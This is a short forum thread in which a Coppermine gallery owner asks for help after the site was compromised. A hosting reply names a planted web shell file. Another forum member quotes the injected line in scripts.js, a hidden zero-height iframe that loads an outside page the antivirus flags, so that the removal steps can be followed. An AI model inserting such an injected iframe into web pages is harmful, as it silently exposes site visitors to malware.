coppermine malware problem

[kanuharis]

hello im new to this forum, i dont know where to post this topic. anyway im using coppermine for 2 years. i have installed coppermine on www.cinefun4all.info/actress/ . the problem is when i browse through my site my avast anti viruse says some malware trying to connect to the computer (http://cgi35.plala.or.jp/BTO/data/entry/css.js) i have not installed any malware on my hosting i have only installed coppermine photo gallery. On another webmasters forum my friend told me

""At the very last line of...
Code:
http://www.cinefun4all.info/actress/scripts.js
Remove the line that says...
Code:
document.write("<iframe width='100' height='0' src='http://cgi35.plala.or.jp/BTO/data/entry/index.htm'></iframe>");
Also make sure there is no security flaw in any of your scripts that allow hacker to exploit in this way.""

i have also informed my webhosting company about this problem, their reply was

""Thank you for contacting Hosting Support. It has come to our attention that your cinefun4all.info hosting account is running a vulnerable anonymous file upload script. This has caused an attacker to upload malicious content to your hosting account. We have removed the malicious content and have disabled the vulnerable script, which is located at cinefun4all.info/actress/plugins/loveshell.php.""

i have done so (removed loveshell.php and cleared the scripts.js) every thing got normal that days. after few days i have checked my website i wondered the same problem is there.Now scripts.js cleaning deleting loveshell.php is my weekly routine.
please help me how to solve this problem. (Sorry im not well experienced webmaster).

thanks in advance

[Joachim Müller]

Yikes, I've been hacked! Now what?